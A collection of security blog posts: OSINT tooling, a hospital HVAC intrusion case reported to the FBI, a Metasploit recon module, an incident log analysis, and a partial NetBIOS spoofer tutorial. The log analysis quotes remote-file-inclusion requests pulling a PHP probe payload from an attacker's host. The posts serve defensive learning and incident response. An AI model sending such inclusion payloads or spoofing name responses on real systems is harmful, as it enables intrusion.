Wikipedia articles carry with them a revision history that logs every change made to an article, as well as information on the user or IP address that made the change. The revision history and user information can provide someone gathering intelligence with as much or more information about a topic than its article. Many Wikipedia editors are personally connected to the articles they edit, or otherwise have a stake in what is being said, and by processing the revision data, it’s possible to gain some insight into those connections.

This is somewhat awkward and time consuming to do through the web interface, so it helps to automate. I had a need to determine what revisions and users introduced certain phrases in an article, and wrote the following script to help:

To use, first export the article(s) you want to process to XML using Wikipedia’s Special:Export page (be sure to uncheck ”Include only the current revision”). Once you have the XML saved locally, usage is as follows:

./wikiadded.py <xml file> <word or phrase>

The output is comma-delimited and contains the Wikipedia timestamp, user information (username/id or IP address), and a link to the revision that introduced (or re-introduced) the phrase.

Hope this is of use to someone besides myself!

 

My phone has been blowing up most of the day about this. To sum it up: On the evening of the 18th, a script kiddie that was involved in a previous post on this site (“Perl Hacking is Dead”), XXxxImmortalxxXX, contacted me and began to brag about hacking a hospital’s HVAC system. Upon further googling, it became apparent that XXxxImmortalxxXX was lying to me, and that it was the leader of the group Immortal had joined that allegedly carried out the attack. This attacker went by the name of “GhostExodus”.

As most of my readers here know, my research area is control systems/SCADA, specifically human-machine interface (HMI) software. Being involved in a field that involves elements of our critical infrastructure, I know how serious an incident involving a hospital’s HVAC system can be. Screenshots taken by the attacker showed an HMI that gave the user control over many elements of the hospital, including pumps and chillers in the operating room. Messing around with a system like this can seriously impact the health and safety of the patients.

I spent a large amount of time that weekend gathering up information on GhostExodus, and his hacker group, the “Electronik Tribulation Army”. Monday, I met with my major professor at Mississippi State University’s Critical Infrastructure Protection Center, where I work as a Ph.D. research assistant. I presented the information I had found, and we contacted the Texas attorney general’s office and the Jackson, MS FBI office, where we already had contacts. For the rest of the week, I cooperated with the FBI by sharing the information that I had found. GhostExodus was picked up by the FBI on Friday night.

I plan on sharing more, because there’s a huge amount of interesting data, images, and video involved with this case. The alleged attacker uploaded many videos of his actions to Youtube and other sites, and when I put it all together into a coherent lecture, it should be pretty informative and entertaining. Until then, there’s plenty of media coverage of the arrest:

Google News shows over 170 related stories.

The best and most accurate thing to read, however, is the criminal complaint against “Jesse William McGraw”. I have been informed that this is part of public record, however I have taken the liberty of editing out SSNs, DLs, VINs and such on this copy:

(Edit: moved it offsite, because it was chewing bandwidth a lot more bandwidth than you’d expect.  You can read it online or download it from the above link)

If you’re reading the above, I’m “CW-1″.

I plan on keeping you updated on further developments and more information as this progresses. There will also likely be some very interesting multi-media talks and lectures I can give on this, so if you want me to take the show on the road, get in touch.

For now, though, I’ve had a long day, and I shall rest :)

 

I first heard about what is now called Maltego, when I read the materials for HD Moore and Valsmith’s presentation “Tactical Exploitation”, given at Black Hat USA 2007.  Back then, it was called Evolution, and while it was still in its early stages, it was very useful, and impressive for what it did.  Now, with its current name, Maltego, it has reached version 2, and there’s a lot of promise in its new and upcoming features.

As someone who believes that the initial stages of a proper penetration test should include an intensive passive intelligence gathering phase, more than what most testers put into it, I believe that using Maltego is a really good starting point.  This is especially the case for pentesters that aren’t as experienced in open-source information gathering as they are in the later phases of a test (due to how their training was focused).  The output from Maltego gives a good base to work from, and is likely to put the tester in the right mindset to expand upon that information.

Mubix, over on his Room362.com blog, has started a series of posts on the new version of Maltego, and it should be very informative to both those new to Maltego, and those, like me, who are aware of older iterations, and would like to know how things are progressing:

The other night, Mubix did some information gathering on me, using Maltego, and I was impressed with the output.  At the very least, it will find much of the same information that an experienced intelligence gatherer will find in his or her first stages, in a very short period of time (5 minutes in this particular case).  I’m looking forward to seeing the rest of Mubix’s series on the new version.

Edit: Chris Gates, of the Carnal0wnage (definitely McGrew-approved for techie security geek content), has a nicely detailed writeup on Maltego over on the Ethical Hacker Network:

This looks to be a good series, too.  Definitely worth editing the post to add, as it’s too good to let flounder around down in the comments section.

 

The other day I decided that I wanted to become more familiar with the internals of the Metasploit Framework, so with the latest svn of the framework and a couple of books on Ruby, I started digging.  I decided a fun project would be to port some of my existing tools and scripts into the framework.  I have started this with this ground-up rework of GooSweep (which has fallen into disrepair), and I have to say: Putting this together in Ruby with the Metasploit framework was a very enjoyable experience, and resulted in something that’s useful and usable way beyond what GooSweep used to be.  I’m definitely going to be writing stuff in the framework more often, now.

This module, web_search_scan, will perform search engine queries (Google by default, but configurable) for each IP address (and, optionally, hostnames found by rDNS) in a range specified by the user.  If there are hits on the search engine for a host, the module will display the number of hits, and URLs to view the results.  If you have a database connected, it will also log notes to the database for each host that it finds.

It’s a simple idea, but I’ve found the technique to be very useful.  It requires a little manual work to check out the results, since there’s no way of really knowing what you’re going to find, but you can find some interesting things like this.  For example:

  • Publicly-accessible and indexed web logs and stats – You can tell if someone at that IP has visited a site, and possibly even when, how often, and what their user agent was
  • Wiki edits and IP user pages
  • Mailing list and newsgroup posts – Hits from the mail/post headers, or occasionally admins asking for configuration help that don’t censor addresses
  • Abuse reports for open proxies, spammers, etc.
  • Posts to forums, comments, or guestbooks that log and display IP addresses

With a little detective work, you can map out some known active hosts on a network, and some information about those hosts, without having to actively probe the network.  This is great for the information-gathering phase of a penetration test.  I’ve also found it to be very helpful for learning more about potential attackers when doing incident response.

Here’s what the module’s info looks like in Metasploit (output edited for width):

HacBook:framework wesley$ ./msfconsole

                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|

       =[ msf v3.2-release
+ -- --=[ 299 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 68 aux

msf > use auxiliary/scanner/misc/web_search_scan
msf auxiliary(web_search_scan) > info

       Name: Web Search Engine IP Address Scanner
    Version: 5612

Provided by:
  Wesley McGrew <wesley@mcgrewsecurity.com>

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  LOOKUP       false            yes       Reverse lookup IPs and
                                          search hostnames too? (Not
                                          stealthy)
  PROXYCHAINS                   no        Pipe-delimited (|) list of
                                          proxy chains to use
  QUIET        false            yes       Quiet output (still logs to
                                          db)
  RETRIES      3                yes       Number of times to retry
                                          queries if they fail
  RHOSTS                        yes       The target address range or
                                          CIDR identifier
  SLEEP        3                yes       Minimum time to sleep between
                                          requests (seconds)
  SLEEPRAND    3                yes       Random additional time to
                                          sleep (seconds)
  THREADS      1                yes       The number of concurrent threads

Description:
  This scanner will do a web search engine query for each IP address
  (optionally, rDNS names as well) and record the number of hits and a
  URL to the query results. This is a useful for determining some
  active hosts and information gathering about a network without
  having to directly probe the network. Common results include
  publicly accessible web access logs, mailing list posts, abuse
  reports, and wikipedia edits. (WARNING: If you set LOOKUP to true,
  your target may notice the reverse DNS lookups.)

msf auxiliary(web_search_scan) >

A quick overview of these options:

  • RHOSTS - Set of IP addresses you want to scan.  You can comma-delimit sets of hosts, do dash-seperated ranges, or masks, just like with any Metasploit module
  • LOOKUP - If you like, the module can do a reverse-DNS query for each IP address and perform search engine queries for each hostname found.  If you're trying hard to be stealthy, you may want to avoid this option, as the target's DNS will see the queries.
  • SLEEP and SLEEPRAND - After each search engine query, the module will sleep for SLEEP + rand(SLEEPRAND+1) seconds.  Many web search engines will freak out if you throw queries at it faster than a normal/human user would.  You can adjust this to be faster or slower, depending on how dangerous you feel.
  • RETRIES - Sometimes, even when we're careful, a search engine will respond with something we have no idea how to parse.  Or stops responding altogether.  This is the number of times the module will attempt a query before giving up.  At the end of a complete scan, the module will display all the queries that failed, so that you are aware of any false-negatives.
  • QUIET - If set to "true", the module will only output status at the beginning and end of its run.  If you set this, you will want to have a database connected, as that's the only place the results will be going.  You can set this, use "run -j" to execute the scan, and it will run in the background fairly quietly, letting you do other things in metasploit while this slowwww scan runs :) .
  • PROXYCHAINS and THREADS - Many metasploit modules allow you to specify a proxy chain to work with.  This one allows you to specify multiple chains, which will allow you parallelize and run a scan faster, even with all the necessary sleeping.  For best results, set THREADS to a few greater than the number of proxy chains.  Each thread will claim a proxy for duration of each individual query.  I apologize that this feature isn't extremely well tested (I left my botnet in my other pants).

There's also some "advanced" options, that allow you to tweak where and how the module gets its results.  This can be useful if you need to use a different search engine, or fix the current one if it's changes and breaks the regex.  Here's what you can tweak:

msf auxiliary(web_search_scan) > show advanced
Module advanced options:
   Name           : NOHITSREGEX
   Current Setting: (?:No results found)|(?:did not match any documents)
   Description    : Regex to match a zero-hit search
   Name           : NUMHITSREGEX
   Current Setting: of (?:about )?<b>((?:[,\d])+)<\/b> for <b>
   Description    : Regex to match number of hits
   Name           : SEARCHHOST
   Current Setting: www.google.com
   Description    : Hostname of search engine
   Name           : SEARCHPORT
   Current Setting: 80
   Description    : Search Port
   Name           : SEARCHURI
   Current Setting: /search?hl=en&q=*&btnG=Google+Search
   Description    : Search URI (* for query location)
   Name           : TIMEOUT
   Current Setting: 10
   Description    : Timeout for the search engine to respond
   Name           : USERAGENT
   Current Setting: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
   Description    : The User-Agent header to use for all requests

One thing you could do with the SEARCHURI option is add in extra parameters such as “site:example.com” to look for mentions IP addresses and hosts only on a specific site.

Here’s what a scan might look like (searching non-routable ranges guarantees some results, but it’s a bit pointless too :) ):

So there you have it!  Here’s the code, if you want to drop it in the framework (tested with the latest SVN of metasploit) and use it yourself:

 

For some attackers, it’s just a matter of casting it out there to every possible target and hope something sticks. This sort of thing turns up fairly often in my logs, and probably yours too. This time, I’m going to use it to illustrate just how much intelligence you can gather about your attackers if you take some time to investigate. This particular example is a spectacular failure:


195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:27 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:31 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

I’m not even very sure what vulnerability they’re trying to exploit here, if any. It almost looks as though they were just testing out their script, and happened to think it was a good idea to run it against a website that specializes in various aspects of computer security. This tells you something about the attackers to start with.

I’m going to cover a few easy investigative tricks you can do to find out more about an attack like this. I’m going to write this as I do it, so information I discuss earlier may be proven wrong by the end of the post. This is intentional, as it’s important to show how theories are formed based on evidence and then thrown out when something is found to contradict them.

First, consider the IP address, 195.42.160.22 . Let’s see what we can find out from it:

  • It doesn’t show up in the logs anywhere else (nor does anything else 195.42.*.*)
    • Most of the traffic in the minutes leading up to the attack are RSS readers looking at the blog. There’s no apparent “looking around” type traffic coming from any other IP addresses in the minutes leading up to the attempts.
    • I wasn’t likely “chosen” for an attack so much as I was automatically spidered from a search query or other site.
  • The IP address reverse-DNS’s to wizard.dataforce.net . Dataforce is a Russian ISP.
    • Judging from the hostname, it seems like more of a server for the ISP than an individual’s workstation.
    • So, it’s probably a machine they’ve managed to hack with a similar exploit, and they’re branching out.
  • Looking on google, other sites’ logs and discussion reveal similar things coming from that IP address and host name:
    • Windows 98 user agent?
    • Attempts to grab lots of different php. Looks like attempts to find things they know how to RFI. As recent as in the past 24 hours.
    • Some more attempts at what they did on my site. At least these attempts are better formatted than the ones in my logs:
      • wizard.dataforce.net – - [02/Oct/2007:03:44:03 +0900] “GET /admin/index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
      • wizard.dataforce.net – - [02/Oct/2007:03:44:05 +0900] “GET /index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
    • This site appears to be hosted on wizard.dataforce.net. This supports the idea that this is a shared web host for the ISP’s customers.
    • Several other sites have exposed access_logs revealing connections from wizard.dataforce.net, and a handful of other apparent web hosts attempting to RFI the same “infect.jpg”. Examples were noticed where “infect.jpg” was downloaded from other sites, as well. This also supports the idea that this is a branching-out and spreading type of attack.

That’s a good bit of information to gather from one IP address :) . Next, let’s look at the payload, “http://www.infectsgroup.kit.net/infect.jpg”:

  • It’s not a real jpg of course. It’s PHP code. I’ve hosted it here, so you can take a look and follow along. I’ve taken out the opening and closing tags, so it’s not effective for remote-inclusion off of my own site ;)
  • Once you take the code and reformat it, you’ll see that it’s designed to spit out a few bits of information about the server, then attempt to run the “id” command to get the current user ID.
    • There’s a big “ex()” function that tries to execute the command in many different ways.
    • This code doesn’t really “do” much, but the results it spits back can be processed to determine if a server running an app vulnerable to RFI has been found. Presumably if it finds something, their script either saves the results in a report, or immediately moves to install a proper backdoor PHP shell.
  • Looks like some french-speaking folk ran across it the other day
  • The author of the script has been busy defacing websites (registration required, and I highly recommend it)
    • Defacing in the name Kurdistan Security Team (with very slick ascii art!).

That about settles matters. For the sake of completion I searched through my logs for other connection that used the same User Agent string, “libwww-perl/5.48″. The only other connections were from another host just yesterday, attempting similar RFI attacks. The IP address turns out to be another shared host, in Germany this time, and the payload had already been taken down.

So what you see here is a shotgun approach to defacing a lot of pages and boosting their name up on Zone-H’s defacement archive. This is pretty basic stuff, but it’s a very interesting exercise to take a few log entries and expand out a profile for the attack and attackers. Hopefully you can apply this to your own incidents.

 

I’ve been posting on the Binary Revolution Forums a bit lately, mostly in threads with a technical theme. I’m mostly doing it to sort of contribute to a place that’s popular among people just starting out in the field. Today, a link was posted about the recent attacks against MediaDefender, where a large amount of their email and intellectual property has been leaked out.

I gave the situation some thought, and I think I’m going to have to disagree with what seems to be the general consensus among internet users. I wrote up some of my thoughts and posted it, and I liked it enough that I’m adapting it into the blog post for today:

“What’s funny about this is it really exposes a lot of peer-to-peer filesharing advocates’ true position.

The services MediaDefender provide for copyright holders are designed to have a chilling effect on the filesharing of copyrighted content (they also do marketing via P2P, which is legal, and I think a pretty good use of P2P). So we have a company here that recognizes that there are legal and legitimate uses for P2P, and instead of being all “There should be legislation outlawing this”, they do the right thing and provide a technical solution to a technical problem for copyright holders. The fake files and information gathering tactics apply to situations where people are knowingly downloading content for which they have no rights. You’re not going to run into MediaDefender’s mechanisms downloading Linux ISOs and sharing independent music over P2P, like many advocates of P2P technology would have you believe they do.

It’s a neat solution. Gum up the infringing activities of P2P users while letting the protocols and those who don’t abuse them act freely. It’s a useful service for copyright holders. So what is the collective internet P2P geek reaction to them? It can be pretty much summed up as “Screw them, they deserved to get hacked, they are the devil”. Poking around a bit, I can’t really find a positive thing being said about them.

What it boils down is this: most of the people advocating peer-to-peer with the caveat of it being useful for legal content, really just want their copyright infringing uses to be safe under that blanket.”

 

HD Moore has placed the slides online for the talk he and Valsmith gave on “Tactical Exploitation” yesterday at Black Hat. I normally don’t like just reading through the slides for a talk, but until I can obtain some audio/video this’ll definitely do. One of the reasons I don’t like having only the slides is that it’s often hard to follow without narration. That is definitely not the case with these. It’s packed with good ideas for testing the security of an organization, and covers a lot of aspects that make up a good penetration test, rather than simply a vulnerability scan.

This is highly recommended reading!

HD Moore’s conference slides

Direct link to the slides (pdf).

 

This is the second post of a short series of entries that demonstrate the creation of a simple security/penetration-testing application. The end-result will be a simple NetBIOS Name Service spoofer, written in Python.

If you’re enjoying the packet analysis aspects of this, you might be interested in the SANS IP Packet Analysis course I’ll be teaching soon

In the previous part of this series, we took a look at the NetBIOS Name Service (NBNS) query and response packets in order to get an idea of what we would need to do to craft our spoofed responses. Today, we’re actually going to start writing some code, with the goal being to get a basic skeleton of our spoofer up and running. At the end of this part, we’ll have nbnspoof to the point that it’ll sniff for, dissect, and display NBNS queries and responses,

If you’re following along at home, the only requirements for the code is a working installation of Python and the excellent packet manipulation library Scapy. Scapy may be in your operating system’s repositories (it is for Ubuntu at least). If it’s not, it shouldn’t be too difficult to install by hand, following the instructions on the Scapy homepage. The code we’re looking at today is available at:

One thing that we want to do before we start coding is to see how Scapy decodes these NBNS packets. Scapy has an interactive mode that gives you access to a python interpreter and all of the scapy functionality, so we can use it to look at one of our packet dumps from yesterday:

weasel@hacktop:~/Desktop/nbnspoof$ scapy
Welcome to Scapy (1.0.4.1beta)
>>> pkts = rdpcap("ping_with_nbns_response.pcap")
>>> pkts
<ping_with_nbns_response.pcap: ICMP:8 UDP:6 TCP:0 Other:4>
>>> pkts.show()
0000 Ether / ARP who has 172.16.185.2 says 172.16.185.133
0001 Ether / ARP is at 00:50:56:e8:0b:97 says 172.16.185.2
0002 Ether / IP / UDP / DNS Qry "xpprotest2.localdomain."
0003 Ether / IP / UDP / DNS Ans
0004 Ether / IP / UDP / DNS Qry "xpprotest2.localdomain."
0005 Ether / IP / UDP / DNS Ans
0006 Ether / IP / UDP 172.16.185.133:netbios-ns > 172.16.185.255:netbios-ns / NBNSQueryRequest
0007 Ether / ARP who has 172.16.185.133 says 172.16.185.132
0008 Ether / ARP is at 00:0c:29:27:b9:f0 says 172.16.185.133
0009 Ether / IP / UDP 172.16.185.132:netbios-ns > 172.16.185.133:netbios-ns / NBNSQueryRequest / Raw
0010 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0011 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0012 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0013 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0014 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0015 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0016 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0017 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw

In the above session, I started Scapy, loaded a list of packets from a pcap dump, showed a summary of the number of packets of each type, and then listed a summary of each packet in the dump. From the looks of the output, it seems that packet 6 is the NBNS query, and packet 9 is the result. Let’s take a close look at those:

>>> pkts[6]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:0c:29:27:b9:f0 type=IPv4 |
<IP  version=4L ihl=5L tos=0x0 len=78 id=64 flags=
frag=0L ttl=128 proto=UDP chksum=0x6eb9 src=172.16.185.133
dst=172.16.185.255 options='' |<UDP  sport=netbios-ns
dport=netbios-ns len=58 chksum=0x5224 |<NBNSQueryRequest
NAME_TRN_ID=32799 FLAGS=272 QDCOUNT=1 ANCOUNT=0
NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='XPPROTEST2     '
SUFFIX=workstation NULL=0 QUESTION_TYPE=NB
QUESTION_CLASS=INTERNET |>>>>
>>> pkts[9]
<Ether  dst=00:0c:29:27:b9:f0 src=00:0c:29:03:ad:f7 type=IPv4 |
<IP  version=4L ihl=5L tos=0x0 len=90 id=35 flags= frag=0L
ttl=128 proto=UDP chksum=0x6f45 src=172.16.185.132
dst=172.16.185.133 options='' |<UDP  sport=netbios-ns
dport=netbios-ns len=70 chksum=0xd516 |<NBNSQueryRequest
NAME_TRN_ID=32799 FLAGS=34048 QDCOUNT=0 ANCOUNT=1
NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='XPPROTEST2     '
SUFFIX=workstation NULL=0 QUESTION_TYPE=NB
QUESTION_CLASS=INTERNET |
<Raw  load='\x00\x04\x93\xe0\x00\x06\x00\x00\xac\x10\xb9\x84' |>>>>>

From the above, Scapy appears to recognize and dissect the packets (which are the same packet we looked at in Part 1 in Wireshark) fairly well. It looks like we’ll have to mask out bits in the “FLAG” field ourselves, but that’s not a big deal. Also, you’ll notice that the response is the same thing as a query basically, with the actual “answer”, including the IP address, tacked on at the end in the “Raw load” layer. This means that when we build our responses up in our code, we’ll have to handle all the fields in this section ourselves, which won’t be hard. We can use Wireshark as a reference to see how it is dissected/crafted.

One nice thing we can observe from what Scapy has done with these packets is that it has the ability to decode and encode the names from that crazy encoding scheme we saw in the previous post. That’ll save us some headaches and effort. This encoding is called “First Level Encoding”, and was created in some sort of attempt at getting NetBIOS to play nice with DNS. It involves taking each byte of the name, splitting apart the upper and lower 4 bits, and adding each 4 bits to the letter ‘A’ in hex. It’s not too complex, but it’s nice that we won’t have to deal with it in our code :) .

Speaking of code, we’re at a place that we can start writing some. For larger projects you’ll want some sort of requirements and/or design documents to help guide your process, but this is going to be a very simple program. Even in its simplicity, however, you want some sort of guideline for how you want your program to operate. In this case, I want the ability to tie nbnspoof to an interface, have it listen for any NBNS queries for names matching a regular expression, and craft responses to these queries that points them to a given IP address.

Given this information, I want to write the “usage” text for the program first, so I have some reminder of how it should behave. This will be what is displayed if someone runs nbnspoof with zero or invalid arguments. This may change in the development of the program, but here’s what we’re starting with:

def usage():
   print """Usage:
nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address>

-v Verbose output of sniffed NBNS name queries, and responses sent

-i The interface you want to sniff and send on

-n A regular expression applied to each query to determine whether a
   spoofed response will be sent

-h The IP address that will be sent in spoofed responses
"""
   return

(I’ll be skipping around in the code, so if you’re hardcore into this or have questions, you may want to follow along in the source code itself to see what I’m skipping)

So we have three required arguments (they’re in angle braces): an interface to listen and inject on, a regular expression for names to match, and an IP address to send in the responses. There is a single optional argument, in square brackets, that specifies whether or not we want “verbose” output. The verbose output will include a summary of NBNS requests and queries as they are sniffed, as well as notification of what packets it has crafted and sent off.

To parse these arguments taken in from the command line, we use Python’s “getopt” module in the following code:

def main():
   global verbose
   try:
      opts, args = getopt.getopt(sys.argv[1:],"vi:n:h:")
   except:
      usage()
      sys.exit(1)

   verbose = False
   interface = None
   name_regexp = None
   ip = None

   for o, a in opts:
      if o == '-v':
         verbose = True
      if o == '-i':
         interface = a
      if o == '-n':
         name_regexp = a
      if o == '-h':
         ip = a

   if args or not ip  or not name_regexp or not interface:
      usage()
      sys.exit(1)

It’s fairly simple. The list of arguments passed from the shell is given to getopts, with a format string to tell it what options to look for, and which ones have arguments (designated by a colon after the letter). If this throws an exception (usually because the user didn’t supply any arguments), the usage text is displayed and the program exits.

After declaring our variables with default values, we go into an interesting loop. “opts” holds an array of tuples, each one containing an option and its argument. For each, we test to see if it’s one we know and care about, and set up our variables with that option’s argument. After we’re finished doing that, we check to see if any of our required options were not given, and whether or not we have any extra arguments left over. If anything seems fishy, we remind the user of the usage() and exit.

All of this required a bit of effort, and makes up what will be a good chunk of our code, but it helps the program look professional. A penetration tester of any skill should be able to pick it up and figure out how to use this in a fairly short amount of time.

With the preliminaries and preparation out of the way, we can get down to some serious network business! You really won’t believe how easy it is to set up a sniffer using the Scapy library. Here we go:

   sniff(iface=interface,filter="udp and port 137",store=0,prn=get_packet)

Wow, huh? It’s pretty self explanatory, but here we go: First, we tell it what interface to sniff and inject on, based on what the user told us (eth0, eth1, etc). Next, we have a BPF filter that tells the libpcap library to only send us UDP packets that involve port 137. This is for the sake of performance, and to prevent cases where Scapy might accidentally identify something on another port as being NBNS traffic (Perhaps someone trying to detect a user of nbnspoof would craft NBNS packets on another port to see if the nbnspoof user would respond when a Windows machine wouldn’t). The “store” argument is set to zero, because once we’ve dealt with each packet, we’re going to throw it away. Otherwise, the sniff function will store and return a list of packets, which would waste memory, as we won’t be using it.

Finally, the “prn” argument is set to get_packet. “prn” allows you to set a “call-back” function. What this means, is that for every packet that sniff() sees, it will pass that packet to the call-back function. Here, we have set it to get_packet, which is our function for dissecting, displaying, and crafting packets based off the NBNS queries we see. This function is where most of the real work of nbnspoof will be done. Let’s take a look at it is working so far:

def get_packet(pkt):
   if not pkt.getlayer(NBNSQueryRequest):
      return

   if pkt.FLAGS & 0x8000:
      query = False
      ip = '127.0.0.1'
   else:
      query = True

First off, we see if the packet has the “NBNSQueryRequest” layer, as far as Scapy is concerned. This will help us weed out anything that might show up on this port that isn’t NBNS related. Remember, that Scapy sees NBNS response packets the same way, so both queries and results will pass this test.

Next, we test the FLAGS section of the NBNS data to see if this packet is a query or request, we do this by testing to see if the flags, logically AND’d with 0×8000 (binary: 1000000000000000) is true or not. If the bit is set, then it is a response. Now, for the sake of the “verbose” option, we would want to decode from the packet what IP address this response would be. Right now, we don’t have this code in place, so we’re just putting in ’127.0.0.1′ as a placeholder. If the bit isn’t set, then it’s a query.

   if verbose:
      print str(pkt.NAME_TRN_ID) + ":",
      if query:
         print "Q",
      else:
         print "R",
      print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst,
      if query:
         print 'NAME:"' + pkt.QUESTION_NAME + '"'
      else:
         print 'NAME:"' + pkt.QUESTION_NAME + '"',
         print 'IP:' + ip

If we have the “verbose” option set, we want to display a summary of the current packet. This includes the transaction ID that uniquely pairs a question and response, the status of it being a query or response, source and destination IPs, and what name is being looked up. Now that we’ve covered what we have of the code so far, let’s use it to watch NBNS traffic between two Windows VMs:

weasel@hacktop:~/Desktop/nbnspoof$ sudo ./nbnspoof.py -v -i vmnet8 -n unused -h unused
32878: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"XPPROTEST2     "
32878: R SRC:172.16.185.132 DST:172.16.185.133 NAME:"XPPROTEST2     " IP:127.0.0.1
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "

You’ll notice that even though we’re not doing anything with the regexp or IP address, we still need to specify them to get past our own checks :) . The above output is from pinging from “xpprotest” to “xpprotest2″, and then attempting to ping “example.cpm”. Some things to note:

  • Transaction IDs for NBNS seem to be sequential! Stick that in your pocket for the next time you’re doing passive profiling/fingerprinting. Maybe I should try sniffing a machine as it boots up to see if it always starts at the same number.
  • The name is always going to be 15 characters, all caps, padded out with spaces. This has to do with the encoding of the name in these NBNS packets, rather than a limitation of our script or Scapy. If a host tries to resolve a non-existent name that’s longer than this, it doesn’t try NBNS, so this’ll limit what names we can spoof for.

I hope you enjoyed this! The next part will take us through matching names we want to spoof for, dissecting and crafting response packets, and sending them to the machines that broadcast the queries.

 

The IPW2200 (Intel Pro Wireless) is a pretty nice Mini-PCI (not sure if there are any PCMCIA ones) wireless card that seems to have come in a lot of Dell laptops. The Inspiron 600M I used to use has one, and everything just worked in Linux both in terms of normal usage and monitor-mode tomfoolery. I gave the 600M to my wife and tracked down a much smaller and lighter Latitude C400 for myself, which came with an IPW2100, which uses the Hermes chipset, much like older Lucent Orinoco Gold cards (the IPW2200 and later models have their own driver in the kernel).

The Hermes-based IPW2100 was fine, even without support for G networks or WPA, since most of the networks I connected to were either B networks, or had a slow enough pipe to the Internet that it didn’t matter. When I wanted security, I used a VPN. Now, the campus has an 802.1x wireless network, however my poor IPW2100 wasn’t having an of it. A friend had just given me a spare IPW2200 so the C400 laptop went under the knife (screwdriver, actually) to replace the old with the new. It’s a very nice card, I believe. Kismet has no troubles throwing it into monitor mode, and I do think I’m getting slightly better range with it versus the 2100.

This past weekend, on the way to the competition, we were marveled by the number of wireless networks one sees when going around Atlanta. Dozens and dozens of networks. This got a few of us talking about various cards, what modes are supported, and such things. A friend and fellow team member, Jonathan Pittman, mentioned that there was a relatively new mode supported by the IPW2200 drivers called “radiotap”.

He demonstrated this radiotap mode to me and it was really neat. In this mode, you have your normal device (say, “eth1″) that you can associate to an access point and participate on a network with, and a second interface (“rtap0″) that allows other programs to listen in, monitor-mode style, with 802.11 headers and information. So, you can run Kismet, tcpdump, or whatever on the “rtap0″ interface, while you’re actually associated and using a network on the “eth1″ interface.

The limitation is that you can’t go channel hopping on the “rtap0″ interface. So you will only be able to see the packets from channels on the same network as the one you are associated to. It’s still a neat trick, and could come in handy :) .

To enable it, you will probably need to load up the module with the rtap_iface option set:


modprobe ipw2200 rtap_iface=1

You’re supposed to be able to set it with the following too, however I didn’t have any luck:


echo 1 > /sys/bus/pci/drivers/ipw2200/*/rtap_iface

Either way, once you get it going, rtap0 is now your monitor-like interface to what’s happening on the current channel. In complete contradiction of anything intuitive, however, Kismet will still use the “normal” interface. Here’s how I have the source set in kismet.conf:


source=ipwlivetap,eth1,ipw2200-livetap

Strange but true :-D .

If you have one of these cards, have fun with this! There are some patches floating around to allow injection in monitor mode, and to allow the card to go into Master mode (to act as an AP). I’m probably going to look into that sort of thing and do a short writeup if I’m able to get those going.

 

There’s a new sniffer called Ferret that’s gotten some people excited, although I think that the point has, as it often does, sailed completely over most people’s heads. The presentation, on the topic of “Data Seepage”, is also available at that link, and it looks like it made for a very good talk, especially for the sort of crowd that attends Black Hat Federal. I think that it probably hit its target audience right where that audience is interested.

